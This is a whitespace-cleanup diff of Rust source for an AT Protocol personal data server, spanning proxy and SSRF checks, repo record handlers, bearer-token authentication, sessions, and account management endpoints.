 static PROXY_CLIENT: OnceLock<Client> = OnceLock::new();
+
 pub fn proxy_client() -> &'static Client {
     PROXY_CLIENT.get_or_init(|| {
         ClientBuilder::new()
···
             .expect("Failed to build HTTP client - this indicates a TLS or system configuration issue")
     })
 }
+
 pub fn is_ssrf_safe(url: &str) -> Result<(), SsrfError> {
     let parsed = Url::parse(url).map_err(|_| SsrfError::InvalidUrl)?;
     let scheme = parsed.scheme();
···
     }
     Ok(())
 }
+
 fn is_unicast_ip(ip: &IpAddr) -> bool {
     match ip {
         IpAddr::V4(v4) => {
···
         IpAddr::V6(v6) => !v6.is_loopback() && !v6.is_multicast() && !v6.is_unspecified(),
     }
 }
+
 fn is_private_v4(ip: &std::net::Ipv4Addr) -> bool {
     let octets = ip.octets();
     octets[0] == 10
···
         || (octets[0] == 192 && octets[1] == 168)
         || (octets[0] == 169 && octets[1] == 254)
 }
+
 #[derive(Debug, Clone)]
 pub enum SsrfError {
     InvalidUrl,
···
     NonUnicastIp(String),
     DnsResolutionFailed(String),
 }
+
 impl std::fmt::Display for SsrfError {
     fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
         match self {
···
         }
     }
 }
+
 impl std::error::Error for SsrfError {}
+
 pub const HEADERS_TO_FORWARD: &[&str] = &[
     "accept-language",
     "atproto-accept-labelers",
···
     "retry-after",
     "content-type",
 ];
+
 pub fn validate_at_uri(uri: &str) -> Result<AtUriParts, &'static str> {
     if !uri.starts_with("at://") {
         return Err("URI must start with at://");
···
         rkey: parts.get(2).map(|s| s.to_string()),
     })
 }
+
 #[derive(Debug, Clone)]
 pub struct AtUriParts {
     pub did: String,
     pub collection: Option<String>,
     pub rkey: Option<String>,
 }
+
 pub fn validate_limit(limit: Option<u32>, default: u32, max: u32) -> u32 {
     match limit {
         Some(l) if l == 0 => default,
···
         None => default,
     }
 }
+
 pub fn validate_did(did: &str) -> Result<(), &'static str> {
     if !did.starts_with("did:") {
         return Err("Invalid DID format");
···
     }
     Ok(())
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;

src/api/read_after_write.rs

···
 use std::collections::HashMap;
 use tracing::{error, info, warn};
 use uuid::Uuid;
+
 pub const REPO_REV_HEADER: &str = "atproto-repo-rev";
 pub const UPSTREAM_LAG_HEADER: &str = "atproto-upstream-lag";
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct PostRecord {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ProfileRecord {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Debug, Clone)]
 pub struct RecordDescript<T> {
     pub uri: String,
···
     pub indexed_at: DateTime<Utc>,
     pub record: T,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct LikeRecord {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct LikeSubject {
     pub uri: String,
     pub cid: String,
 }
+
 #[derive(Debug, Default)]
 pub struct LocalRecords {
     pub count: usize,
···
     pub posts: Vec<RecordDescript<PostRecord>>,
     pub likes: Vec<RecordDescript<LikeRecord>>,
 }
+
 pub async fn get_records_since_rev(
     state: &AppState,
     did: &str,
···
     }
     Ok(result)
 }
+
 pub fn get_local_lag(local: &LocalRecords) -> Option<i64> {
     let mut oldest: Option<DateTime<Utc>> = local.profile.as_ref().map(|p| p.indexed_at);
     for post in &local.posts {
···
     }
     oldest.map(|o| (Utc::now() - o).num_milliseconds())
 }
+
 pub fn extract_repo_rev(headers: &HeaderMap) -> Option<String> {
     headers
         .get(REPO_REV_HEADER)
         .and_then(|h| h.to_str().ok())
         .map(|s| s.to_string())
 }
+
 #[derive(Debug)]
 pub struct ProxyResponse {
     pub status: StatusCode,
     pub headers: HeaderMap,
     pub body: bytes::Bytes,
 }
+
 pub async fn proxy_to_appview(
     method: &str,
     params: &HashMap<String, String>,
···
         }
     }
 }
+
 pub fn format_munged_response<T: Serialize>(data: T, lag: Option<i64>) -> Response {
     let mut response = (StatusCode::OK, Json(data)).into_response();
     if let Some(lag_ms) = lag {
···
     }
     response
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct AuthorView {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct PostView {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct FeedViewPost {
···
     #[serde(flatten)]
     pub extra: HashMap<String, Value>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct FeedOutput {
     pub feed: Vec<FeedViewPost>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub cursor: Option<String>,
 }
+
 pub fn format_local_post(
     descript: &RecordDescript<PostRecord>,
     author_did: &str,
···
         extra: HashMap::new(),
     }
 }
+
 pub fn insert_posts_into_feed(feed: &mut Vec<FeedViewPost>, posts: Vec<PostView>) {
     if posts.is_empty() {
         return;

src/api/repo/blob.rs

···
 use sha2::{Digest, Sha256};
 use std::str::FromStr;
 use tracing::error;
+
 const MAX_BLOB_SIZE: usize = 1_000_000;
+
 pub async fn upload_blob(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     }))
     .into_response()
 }
+
 #[derive(Deserialize)]
 pub struct ListMissingBlobsParams {
     pub limit: Option<i64>,
     pub cursor: Option<String>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct RecordBlob {
     pub cid: String,
     pub record_uri: String,
 }
+
 #[derive(Serialize)]
 pub struct ListMissingBlobsOutput {
     pub cursor: Option<String>,
     pub blobs: Vec<RecordBlob>,
 }
+
 fn find_blobs(val: &serde_json::Value, blobs: &mut Vec<String>) {
     if let Some(obj) = val.as_object() {
         if let Some(type_val) = obj.get("$type") {
···
         }
     }
 }
+
 pub async fn list_missing_blobs(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/repo/import.rs

···
 };
 use serde_json::json;
 use tracing::{debug, error, info, warn};
+
 const DEFAULT_MAX_IMPORT_SIZE: usize = 100 * 1024 * 1024;
 const DEFAULT_MAX_BLOCKS: usize = 50000;
+
 pub async fn import_repo(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 async fn sequence_import_event(
     state: &AppState,
     did: &str,

src/api/repo/meta.rs

···
 };
 use serde::Deserialize;
 use serde_json::json;
+
 #[derive(Deserialize)]
 pub struct DescribeRepoInput {
     pub repo: String,
 }
+
 pub async fn describe_repo(
     State(state): State<AppState>,
     Query(input): Query<DescribeRepoInput>,

src/api/repo/mod.rs

···
 pub mod import;
 pub mod meta;
 pub mod record;
+
 pub use blob::{list_missing_blobs, upload_blob};
 pub use import::import_repo;
 pub use meta::describe_repo;

src/api/repo/record/batch.rs

···
 use std::str::FromStr;
 use std::sync::Arc;
 use tracing::error;
+
 const MAX_BATCH_WRITES: usize = 200;
+
 #[derive(Deserialize)]
 #[serde(tag = "$type")]
 pub enum WriteOp {
···
     #[serde(rename = "com.atproto.repo.applyWrites#delete")]
     Delete { collection: String, rkey: String },
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ApplyWritesInput {
···
     pub writes: Vec<WriteOp>,
     pub swap_commit: Option<String>,
 }
+
 #[derive(Serialize)]
 #[serde(tag = "$type")]
 pub enum WriteResult {
···
     #[serde(rename = "com.atproto.repo.applyWrites#deleteResult")]
     DeleteResult {},
 }
+
 #[derive(Serialize)]
 pub struct ApplyWritesOutput {
     pub commit: CommitInfo,
     pub results: Vec<WriteResult>,
 }
+
 #[derive(Serialize)]
 pub struct CommitInfo {
     pub cid: String,
     pub rev: String,
 }
+
 pub async fn apply_writes(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/repo/record/delete.rs

···
 use std::str::FromStr;
 use std::sync::Arc;
 use tracing::error;
+
 #[derive(Deserialize)]
 pub struct DeleteRecordInput {
     pub repo: String,
···
     #[serde(rename = "swapCommit")]
     pub swap_commit: Option<String>,
 }
+
 pub async fn delete_record(
     State(state): State<AppState>,
     headers: HeaderMap,

src/api/repo/record/mod.rs

···
 pub mod utils;
 pub mod validation;
 pub mod write;
+
 pub use batch::apply_writes;
 pub use delete::{DeleteRecordInput, delete_record};
 pub use read::{GetRecordInput, ListRecordsInput, ListRecordsOutput, get_record, list_records};

src/api/repo/record/read.rs

···
 use std::collections::HashMap;
 use std::str::FromStr;
 use tracing::error;
+
 #[derive(Deserialize)]
 pub struct GetRecordInput {
     pub repo: String,
···
     pub rkey: String,
     pub cid: Option<String>,
 }
+
 pub async fn get_record(
     State(state): State<AppState>,
     Query(input): Query<GetRecordInput>,

src/api/repo/record/utils.rs

···
     rev: &'a str,
     version: i64,
 }
+
 fn create_signed_commit(
     did: &str,
     data: Cid,
···
         .map_err(|e| format!("Failed to serialize signed commit: {:?}", e))?;
     Ok((signed_bytes, sig_bytes))
 }
+
 pub enum RecordOp {
     Create { collection: String, rkey: String, cid: Cid },
     Update { collection: String, rkey: String, cid: Cid, prev: Option<Cid> },
     Delete { collection: String, rkey: String, prev: Option<Cid> },
 }
+
 pub struct CommitResult {
     pub commit_cid: Cid,
     pub rev: String,
 }
+
 pub async fn commit_and_log(
     state: &AppState,
     did: &str,

src/api/repo/record/validation.rs

···
     Json,
 };
 use serde_json::json;
+
 pub fn validate_record(record: &serde_json::Value, collection: &str) -> Result<(), Response> {
     let validator = RecordValidator::new();
     match validator.validate(record, collection) {

src/api/repo/record/write.rs

···
 use std::sync::Arc;
 use tracing::error;
 use uuid::Uuid;
+
 pub async fn has_verified_notification_channel(db: &PgPool, did: &str) -> Result<bool, sqlx::Error> {
     let row = sqlx::query(
         r#"
···
         None => Ok(false),
     }
 }
+
 pub async fn prepare_repo_write(
     state: &AppState,
     headers: &HeaderMap,

src/api/server/account_status.rs

···
 use serde_json::json;
 use tracing::{error, info, warn};
 use uuid::Uuid;
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CheckAccountStatusOutput {
···
     pub expected_blobs: i64,
     pub imported_blobs: i64,
 }
+
 pub async fn check_account_status(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     )
         .into_response()
 }
+
 pub async fn activate_account(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct DeactivateAccountInput {
     pub delete_after: Option<String>,
 }
+
 pub async fn deactivate_account(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 pub async fn request_account_delete(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     info!("Account deletion requested for user {}", did);
     (StatusCode::OK, Json(json!({}))).into_response()
 }
+
 #[derive(Deserialize)]
 pub struct DeleteAccountInput {
     pub did: String,
     pub password: String,
     pub token: String,
 }
+
 pub async fn delete_account(
     State(state): State<AppState>,
     Json(input): Json<DeleteAccountInput>,

src/api/server/app_password.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::{error, warn};
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct AppPassword {
···
     pub created_at: String,
     pub privileged: bool,
 }
+
 #[derive(Serialize)]
 pub struct ListAppPasswordsOutput {
     pub passwords: Vec<AppPassword>,
 }
+
 pub async fn list_app_passwords(
     State(state): State<AppState>,
     BearerAuth(auth_user): BearerAuth,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct CreateAppPasswordInput {
     pub name: String,
     pub privileged: Option<bool>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateAppPasswordOutput {
···
     pub created_at: String,
     pub privileged: bool,
 }
+
 pub async fn create_app_password(
     State(state): State<AppState>,
     headers: HeaderMap,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct RevokeAppPasswordInput {
     pub name: String,
 }
+
 pub async fn revoke_app_password(
     State(state): State<AppState>,
     BearerAuth(auth_user): BearerAuth,

src/api/server/email.rs

···
 use serde::Deserialize;
 use serde_json::json;
 use tracing::{error, info, warn};
+
 fn generate_confirmation_code() -> String {
     crate::util::generate_token_code()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct RequestEmailUpdateInput {
     pub email: String,
 }
+
 pub async fn request_email_update(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     info!("Email update requested for user {}", user_id);
     (StatusCode::OK, Json(json!({ "tokenRequired": true }))).into_response()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ConfirmEmailInput {
     pub email: String,
     pub token: String,
 }
+
 pub async fn confirm_email(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
     info!("Email updated for user {}", user_id);
     (StatusCode::OK, Json(json!({}))).into_response()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct UpdateEmailInput {
···
     pub email_auth_factor: Option<bool>,
     pub token: Option<String>,
 }
+
 pub async fn update_email(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/server/invite.rs

···
 use serde::{Deserialize, Serialize};
 use tracing::error;
 use uuid::Uuid;
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateInviteCodeInput {
     pub use_count: i32,
     pub for_account: Option<String>,
 }
+
 #[derive(Serialize)]
 pub struct CreateInviteCodeOutput {
     pub code: String,
 }
+
 pub async fn create_invite_code(
     State(state): State<AppState>,
     BearerAuth(auth_user): BearerAuth,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateInviteCodesInput {
···
     pub use_count: i32,
     pub for_accounts: Option<Vec<String>>,
 }
+
 #[derive(Serialize)]
 pub struct CreateInviteCodesOutput {
     pub codes: Vec<AccountCodes>,
 }
+
 #[derive(Serialize)]
 pub struct AccountCodes {
     pub account: String,
     pub codes: Vec<String>,
 }
+
 pub async fn create_invite_codes(
     State(state): State<AppState>,
     BearerAuth(auth_user): BearerAuth,
···
     }
     Json(CreateInviteCodesOutput { codes: result_codes }).into_response()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GetAccountInviteCodesParams {
     pub include_used: Option<bool>,
     pub create_available: Option<bool>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct InviteCode {
···
     pub created_at: String,
     pub uses: Vec<InviteCodeUse>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct InviteCodeUse {
     pub used_by: String,
     pub used_at: String,
 }
+
 #[derive(Serialize)]
 pub struct GetAccountInviteCodesOutput {
     pub codes: Vec<InviteCode>,
 }
+
 pub async fn get_account_invite_codes(
     State(state): State<AppState>,
     BearerAuth(auth_user): BearerAuth,

src/api/server/mod.rs

···
 pub mod service_auth;
 pub mod session;
 pub mod signing_key;
+
 pub use account_status::{
     activate_account, check_account_status, deactivate_account, delete_account,
     request_account_delete,

src/api/server/password.rs

···
 use serde::Deserialize;
 use serde_json::json;
 use tracing::{error, info, warn};
+
 fn generate_reset_code() -> String {
     crate::util::generate_token_code()
 }
···
     }
     "unknown".to_string()
 }
+
 #[derive(Deserialize)]
 pub struct RequestPasswordResetInput {
     pub email: String,
 }
+
 pub async fn request_password_reset(
     State(state): State<AppState>,
     headers: HeaderMap,
···
     info!("Password reset requested for user {}", user_id);
     (StatusCode::OK, Json(json!({}))).into_response()
 }
+
 #[derive(Deserialize)]
 pub struct ResetPasswordInput {
     pub token: String,
     pub password: String,
 }
+
 pub async fn reset_password(
     State(state): State<AppState>,
     headers: HeaderMap,

src/api/server/service_auth.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::error;
+
 #[derive(Deserialize)]
 pub struct GetServiceAuthParams {
     pub aud: String,
     pub lxm: Option<String>,
     pub exp: Option<i64>,
 }
+
 #[derive(Serialize)]
 pub struct GetServiceAuthOutput {
     pub token: String,
 }
+
 pub async fn get_service_auth(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,

src/api/server/session.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::{error, info, warn};
+
 fn extract_client_ip(headers: &HeaderMap) -> String {
     if let Some(forwarded) = headers.get("x-forwarded-for") {
         if let Ok(value) = forwarded.to_str() {
···
     }
     "unknown".to_string()
 }
+
 #[derive(Deserialize)]
 pub struct CreateSessionInput {
     pub identifier: String,
     pub password: String,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CreateSessionOutput {
···
     pub handle: String,
     pub did: String,
 }
+
 pub async fn create_session(
     State(state): State<AppState>,
     headers: HeaderMap,
···
         did: row.did,
     }).into_response()
 }
+
 pub async fn get_session(
     State(state): State<AppState>,
     BearerAuth(auth_user): BearerAuth,
···
         }
     }
 }
+
 pub async fn delete_session(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 pub async fn refresh_session(
     State(state): State<AppState>,
     headers: axum::http::HeaderMap,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ConfirmSignupInput {
     pub did: String,
     pub verification_code: String,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ConfirmSignupOutput {
···
     pub preferred_channel: String,
     pub preferred_channel_verified: bool,
 }
+
 pub async fn confirm_signup(
     State(state): State<AppState>,
     Json(input): Json<ConfirmSignupInput>,
···
         preferred_channel_verified: true,
     }).into_response()
 }
+
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ResendVerificationInput {
     pub did: String,
 }
+
 pub async fn resend_verification(
     State(state): State<AppState>,
     Json(input): Json<ResendVerificationInput>,

src/api/server/signing_key.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::{error, info};
+
 const SECP256K1_MULTICODEC_PREFIX: [u8; 2] = [0xe7, 0x01];
+
 fn public_key_to_did_key(signing_key: &SigningKey) -> String {
     let verifying_key = signing_key.verifying_key();
     let compressed_pubkey = verifying_key.to_sec1_bytes();
···
     let encoded = multibase::encode(multibase::Base::Base58Btc, &multicodec_key);
     format!("did:key:{}", encoded)
 }
+
 #[derive(Deserialize)]
 pub struct ReserveSigningKeyInput {
     pub did: Option<String>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ReserveSigningKeyOutput {
     pub signing_key: String,
 }
+
 pub async fn reserve_signing_key(
     State(state): State<AppState>,
     Json(input): Json<ReserveSigningKeyInput>,

src/api/temp.rs

···
 use serde_json::json;
 use crate::auth::{extract_bearer_token_from_header, validate_bearer_token};
 use crate::state::AppState;
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct CheckSignupQueueOutput {
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub estimated_time_ms: Option<i64>,
 }
+
 pub async fn check_signup_queue(
     State(state): State<AppState>,
     headers: HeaderMap,

src/api/validation.rs

···
 pub const MAX_DOMAIN_LENGTH: usize = 253;
 pub const MAX_DOMAIN_LABEL_LENGTH: usize = 63;
 const EMAIL_LOCAL_SPECIAL_CHARS: &str = ".!#$%&'*+/=?^_`{|}~-";
+
 pub fn is_valid_email(email: &str) -> bool {
     let email = email.trim();
     if email.is_empty() || email.len() > MAX_EMAIL_LENGTH {
···
     }
     true
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;

src/auth/extractor.rs

···
     Json,
 };
 use serde_json::json;
+
 use crate::state::AppState;
 use super::{AuthenticatedUser, TokenValidationError, validate_bearer_token_cached, validate_bearer_token_cached_allow_deactivated};
+
 pub struct BearerAuth(pub AuthenticatedUser);
+
 #[derive(Debug)]
 pub enum AuthError {
     MissingToken,
···
     AccountDeactivated,
     AccountTakedown,
 }
+
 impl IntoResponse for AuthError {
     fn into_response(self) -> Response {
         let (status, error, message) = match self {
···
                 "Account has been taken down",
             ),
         };
+
         (status, Json(json!({ "error": error, "message": message }))).into_response()
     }
 }
+
 fn extract_bearer_token(auth_header: &str) -> Result<&str, AuthError> {
     let auth_header = auth_header.trim();
+
     if auth_header.len() < 8 {
         return Err(AuthError::InvalidFormat);
     }
+
     let prefix = &auth_header[..7];
     if !prefix.eq_ignore_ascii_case("bearer ") {
         return Err(AuthError::InvalidFormat);
     }
+
     let token = auth_header[7..].trim();
     if token.is_empty() {
         return Err(AuthError::InvalidFormat);
     }
+
     Ok(token)
 }
+
 pub fn extract_bearer_token_from_header(auth_header: Option<&str>) -> Option<String> {
     let header = auth_header?;
     let header = header.trim();
+
     if header.len() < 7 {
         return None;
     }
+
     if !header[..7].eq_ignore_ascii_case("bearer ") {
         return None;
     }
+
     let token = header[7..].trim();
     if token.is_empty() {
         return None;
     }
+
     Some(token.to_string())
 }
+
 impl FromRequestParts<AppState> for BearerAuth {
     type Rejection = AuthError;
+
     async fn from_request_parts(
         parts: &mut Parts,
         state: &AppState,
···
             .ok_or(AuthError::MissingToken)?
             .to_str()
             .map_err(|_| AuthError::InvalidFormat)?;
+
         let token = extract_bearer_token(auth_header)?;
+
         match validate_bearer_token_cached(&state.db, &state.cache, token).await {
             Ok(user) => Ok(BearerAuth(user)),
             Err(TokenValidationError::AccountDeactivated) => Err(AuthError::AccountDeactivated),
···
         }
     }
 }
+
 pub struct BearerAuthAllowDeactivated(pub AuthenticatedUser);
+
 impl FromRequestParts<AppState> for BearerAuthAllowDeactivated {
     type Rejection = AuthError;
+
     async fn from_request_parts(
         parts: &mut Parts,
         state: &AppState,
···
             .ok_or(AuthError::MissingToken)?
             .to_str()
             .map_err(|_| AuthError::InvalidFormat)?;
+
         let token = extract_bearer_token(auth_header)?;
+
         match validate_bearer_token_cached_allow_deactivated(&state.db, &state.cache, token).await {
             Ok(user) => Ok(BearerAuthAllowDeactivated(user)),
             Err(TokenValidationError::AccountTakedown) => Err(AuthError::AccountTakedown),
···
         }
     }
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[test]
     fn test_extract_bearer_token() {
         assert_eq!(extract_bearer_token("Bearer abc123").unwrap(), "abc123");
···
         assert_eq!(extract_bearer_token("BEARER abc123").unwrap(), "abc123");
         assert_eq!(extract_bearer_token("Bearer  abc123").unwrap(), "abc123");
         assert_eq!(extract_bearer_token(" Bearer abc123 ").unwrap(), "abc123");
+
         assert!(extract_bearer_token("Basic abc123").is_err());
         assert!(extract_bearer_token("Bearer").is_err());
         assert!(extract_bearer_token("Bearer ").is_err());

src/auth/mod.rs

···
 use std::fmt;
 use std::sync::Arc;
 use std::time::Duration;
+
 use crate::cache::Cache;
+
 pub mod extractor;
 pub mod token;
 pub mod verify;
+
 pub use extractor::{BearerAuth, BearerAuthAllowDeactivated, AuthError, extract_bearer_token_from_header};
 pub use token::{
     create_access_token, create_refresh_token, create_service_token,
···
     SCOPE_ACCESS, SCOPE_REFRESH, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED,
 };
 pub use verify::{get_did_from_token, get_jti_from_token, verify_token, verify_access_token, verify_refresh_token};
+
 const KEY_CACHE_TTL_SECS: u64 = 300;
 const SESSION_CACHE_TTL_SECS: u64 = 60;
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum TokenValidationError {
     AccountDeactivated,
···
     KeyDecryptionFailed,
     AuthenticationFailed,
 }
+
 impl fmt::Display for TokenValidationError {
     fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
         match self {
···
         }
     }
 }
+
 pub struct AuthenticatedUser {
     pub did: String,
     pub key_bytes: Option<Vec<u8>>,
     pub is_oauth: bool,
 }
+
 pub async fn validate_bearer_token(
     db: &PgPool,
     token: &str,
 ) -> Result<AuthenticatedUser, TokenValidationError> {
     validate_bearer_token_with_options_internal(db, None, token, false).await
 }
+
 pub async fn validate_bearer_token_allow_deactivated(
     db: &PgPool,
     token: &str,
 ) -> Result<AuthenticatedUser, TokenValidationError> {
     validate_bearer_token_with_options_internal(db, None, token, true).await
 }
+
 pub async fn validate_bearer_token_cached(
     db: &PgPool,
     cache: &Arc<dyn Cache>,
···
 ) -> Result<AuthenticatedUser, TokenValidationError> {
     validate_bearer_token_with_options_internal(db, Some(cache), token, false).await
 }
+
 pub async fn validate_bearer_token_cached_allow_deactivated(
     db: &PgPool,
     cache: &Arc<dyn Cache>,
···
 ) -> Result<AuthenticatedUser, TokenValidationError> {
     validate_bearer_token_with_options_internal(db, Some(cache), token, true).await
 }
+
 async fn validate_bearer_token_with_options_internal(
     db: &PgPool,
     cache: Option<&Arc<dyn Cache>>,
···
     allow_deactivated: bool,
 ) -> Result<AuthenticatedUser, TokenValidationError> {
     let did_from_token = get_did_from_token(token).ok();
+
     if let Some(ref did) = did_from_token {
         let key_cache_key = format!("auth:key:{}", did);
         let mut cached_key: Option<Vec<u8>> = None;
+
         if let Some(c) = cache {
             cached_key = c.get_bytes(&key_cache_key).await;
             if cached_key.is_some() {
···
                 crate::metrics::record_auth_cache_miss("key");
             }
         }
+
         let (decrypted_key, deactivated_at, takedown_ref) = if let Some(key) = cached_key {
             let user_status = sqlx::query!(
                 "SELECT deactivated_at, takedown_ref FROM users WHERE did = $1",
···
             .await
             .ok()
             .flatten();
+
             match user_status {
                 Some(status) => (Some(key), status.deactivated_at, status.takedown_ref),
                 None => (None, None, None),
···
             {
                 let key = crate::config::decrypt_key(&user.key_bytes, user.encryption_version)
                     .map_err(|_| TokenValidationError::KeyDecryptionFailed)?;
+
                 if let Some(c) = cache {
                     let _ = c.set_bytes(&key_cache_key, &key, Duration::from_secs(KEY_CACHE_TTL_SECS)).await;
                 }
+
                 (Some(key), user.deactivated_at, user.takedown_ref)
             } else {
                 (None, None, None)
             }
         };
+
         if let Some(decrypted_key) = decrypted_key {
             if !allow_deactivated && deactivated_at.is_some() {
                 return Err(TokenValidationError::AccountDeactivated);
             }
+
             if takedown_ref.is_some() {
                 return Err(TokenValidationError::AccountTakedown);
             }
+
             if let Ok(token_data) = verify_access_token(token, &decrypted_key) {
                 let jti = &token_data.claims.jti;
                 let session_cache_key = format!("auth:session:{}:{}", did, jti);
                 let mut session_valid = false;
+
                 if let Some(c) = cache {
                     if let Some(cached_value) = c.get(&session_cache_key).await {
                         session_valid = cached_value == "1";
···
                         crate::metrics::record_auth_cache_miss("session");
                     }
                 }
+
                 if !session_valid {
                     let session_exists = sqlx::query_scalar!(
                         "SELECT 1 as one FROM session_tokens WHERE did = $1 AND access_jti = $2 AND access_expires_at > NOW()",
···
                     .await
                     .ok()
                     .flatten();
+
                     session_valid = session_exists.is_some();
+
                     if session_valid {
                         if let Some(c) = cache {
                             let _ = c.set(&session_cache_key, "1", Duration::from_secs(SESSION_CACHE_TTL_SECS)).await;
                         }
                     }
                 }
+
                 if session_valid {
                     return Ok(AuthenticatedUser {
                         did: did.clone(),
···
             }
         }
     }
+
     if let Ok(oauth_info) = crate::oauth::verify::extract_oauth_token_info(token) {
         if let Some(oauth_token) = sqlx::query!(
             r#"SELECT t.did, t.expires_at, u.deactivated_at, u.takedown_ref
···
             if !allow_deactivated && oauth_token.deactivated_at.is_some() {
                 return Err(TokenValidationError::AccountDeactivated);
             }
+
             if oauth_token.takedown_ref.is_some() {
                 return Err(TokenValidationError::AccountTakedown);
             }
+
             let now = chrono::Utc::now();
             if oauth_token.expires_at > now {
                 return Ok(AuthenticatedUser {
···
             }
         }
     }
+
     Err(TokenValidationError::AuthenticationFailed)
 }
+
 pub async fn invalidate_auth_cache(cache: &Arc<dyn Cache>, did: &str) {
     let key_cache_key = format!("auth:key:{}", did);
     let _ = cache.delete(&key_cache_key).await;
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct Claims {
     pub iss: String,
···
     pub lxm: Option<String>,
     pub jti: String,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct Header {
     pub alg: String,
     pub typ: String,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct UnsafeClaims {
     pub iss: String,
     pub sub: Option<String>,
 }
-// fancy boy TokenData equivalent for compatibility/structure
+
 pub struct TokenData<T> {
     pub claims: T,
 }

src/auth/token.rs

···
 use k256::ecdsa::{Signature, SigningKey, signature::Signer};
 use sha2::Sha256;
 use uuid;
+
 type HmacSha256 = Hmac<Sha256>;
+
 pub const TOKEN_TYPE_ACCESS: &str = "at+jwt";
 pub const TOKEN_TYPE_REFRESH: &str = "refresh+jwt";
 pub const TOKEN_TYPE_SERVICE: &str = "jwt";
···
 pub const SCOPE_REFRESH: &str = "com.atproto.refresh";
 pub const SCOPE_APP_PASS: &str = "com.atproto.appPass";
 pub const SCOPE_APP_PASS_PRIVILEGED: &str = "com.atproto.appPassPrivileged";
+
 pub struct TokenWithMetadata {
     pub token: String,
     pub jti: String,
     pub expires_at: DateTime<Utc>,
 }
+
 pub fn create_access_token(did: &str, key_bytes: &[u8]) -> Result<String> {
     Ok(create_access_token_with_metadata(did, key_bytes)?.token)
 }
+
 pub fn create_refresh_token(did: &str, key_bytes: &[u8]) -> Result<String> {
     Ok(create_refresh_token_with_metadata(did, key_bytes)?.token)
 }
+
 pub fn create_access_token_with_metadata(did: &str, key_bytes: &[u8]) -> Result<TokenWithMetadata> {
